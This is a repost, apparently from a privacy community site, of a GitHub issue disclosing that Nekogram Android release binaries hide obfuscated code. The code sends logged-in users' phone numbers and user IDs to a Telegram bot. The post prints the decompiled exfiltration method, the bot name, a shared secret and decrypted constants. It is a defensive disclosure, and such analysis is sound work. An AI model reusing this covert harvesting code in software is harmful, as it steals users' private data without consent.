External Publication
Visit Post

Nekogram - Malicious Code Injection and User Data Leaking in Release Binaries

Privacy Guides Community [Unofficial] April 2, 2026
Source

github.com/Nekogram/Nekogram

[Spyware, Malicious code] Malicious Code Injection and User Data Leaking in Release Binaries

opened 12:20PM - 02 Apr 26 UTC

      repinek
    

bug

Steps to reproduce 1. Install and login to your telegram account 2. Now you…r phone number belongs to Xi Jinping... jk. to Nekogram creator ### Expected behaviour Not leaking phone numbers ### Actual behaviour # Malicious Code Injection and User Data Exfiltration in Release Binaries Following a reverse-engineering analysis of the official release binaries (.APK) distributed via this repository and associated links in README (official telegram channel, website and Google Play), I found a malicious code for leaking users sensitive data (phone numbers and associated user IDs) to third-party Telegram bots (by owner of app) without the users consent. NOTE: source code for this data extraction logic is missing from the public GitHub repository, that shows the developer is injecting malicious code during the build process for releases. ### Technical part Using any java decompiler (I used JADX) we can see that releases are obfuscated. It's not a big problem, since original main telegram code is open. In repository there's a Extra.java.example file. It's used to store APP_ID, APP_HASH and other sensitive for app information. In release builds this file is differs from original source, adding extra code, especially defpackage.uo5.g() method (uo5 is Extra class, but name is obfuscated) I showing a 6a51ee4af00195cf9180e587a53645ae38f8edc5a4a66c1ba166119e8b1b38e5 Nekogram-12.5.2-6597-arm64-v8a.apk file, from latest release Image Well, I repaired some classes, variables and method names, and got something like this: /* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */ public static void g() { TLRPC.User currentUser; String phoneNumber; try { if (isFunctionWasCalled) { return; } isFunctionWasCalled = true; HashMap mapWithAccounts = new HashMap(); for (int i2 = 0; i2 < 8; i2++) { UserConfig userConfig = UserConfig.getInstance(i2); if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.phoneNumber) != null) { mapWithAccounts.put(String.valueOf(currentUser.userId), phoneNumber); } } InlineBotHelper.getInstance(UserConfig.selectedAccount).Query(BotHelper, WS_CONN_HASH + classWithString.DecodeWithEncString(-7227028227871466228L) + BaseRemoteHelper.GSON.toJson(mapWithAccounts), new Utilities.b() { // from class: pi6 /* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */ @Override // org.telegram.messenger.Utilities.b public final void a(Object obj, Object obj2) { qi6.a((ArrayList) obj, (String) obj2); } }); } catch (Exception unused) { } } We can see: the code iterates through all Telegram accounts logged into the client (up to 8 accounts) and constructs a JSON map of UserID -> PhoneNumber. The collected data is sent as an Inline Query to a bot handler. This method is used specifically because it is silent = Does not appear in the user's chat history. Can be used without starting a bot. - Target Bot: @nekonotificationbot (ID 1190800416) - Secret Key: 741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1 - Method: InlineBotHelper.Query(...) The final exfiltrated string looks like: 741ad2...ae1b1{"123456789": "+79001234567", ...} DecodeWithEncString also used several times, using a custom decryption tool (rewritten by obfuscated code), we can reveal the following hidden constants: | ID | Decrypted Value | Context | |----|-----------------|---------| | -7227028090432512756 | 873ffaceba76e****4a3cdb49 | APP_HASH | | -7227027407532712692 | 55***06 | APP_ID | | -7227026067502916340 | nekonotificationbot | Main Exfiltration Bot | | -7227026153402262260 | tgdb_search_bot | Mentioned OSINT Bot | | -7227025642301154036 | usinfobot | Mentioned OSINT Bot | | -7227027729655259892 | 741ad2...ae1b1 | Shared Secret / Hash | ## When g() function called? Image Image Image ## Some video proofs (thx @RomashkaTea) Where g() function called: https://t.me/NekoChat/619421 (this is Play Store version btw) https://t.me/romashka_gene/8 ## Play Store (Google Play) Version Since the Google Play version also contains this malicious code, it is vital to report it so Play Protect can flag and disable the app on all user devices. (thx @RomashkaTea for confirming) https://support.google.com/googleplay/android-developer/contact/takedown - Takedown page https://play.google.com/store/apps/details?id=tw.nekomimi.nekogram - App in Play store, you can report it here also for comment mention this issue ## Conclusion The Nekogram client silently uploads private user data (phone numbers and their associated user IDs) to @nekonotificationbot. This behavior is hidden behind strong obfuscation and triggered automatically during normal app operation. Website with analysis by @thebadinteger ## Acknowledgments https://t.me/pvxblog/3746 https://t.me/sotaproject/111209 https://t.me/monogram_android/70 https://t.me/pvxblog/3746?comment=397889 https://t.me/NekoChat/619146 - claude code aahhh walkthrough https://t.me/pvxblog/3746?comment=397816 (code to deobfuscate hidden constants) https://t.me/NekoChat - Nekogram chat ### Nekogram version 12.5.2, maybe old binaries affected too ### Android version any

It is an ongoing issue, for those who don’t know Nekogram is a rather popular Telegram Client Fork.

Discussion in the ATmosphere

Loading comments...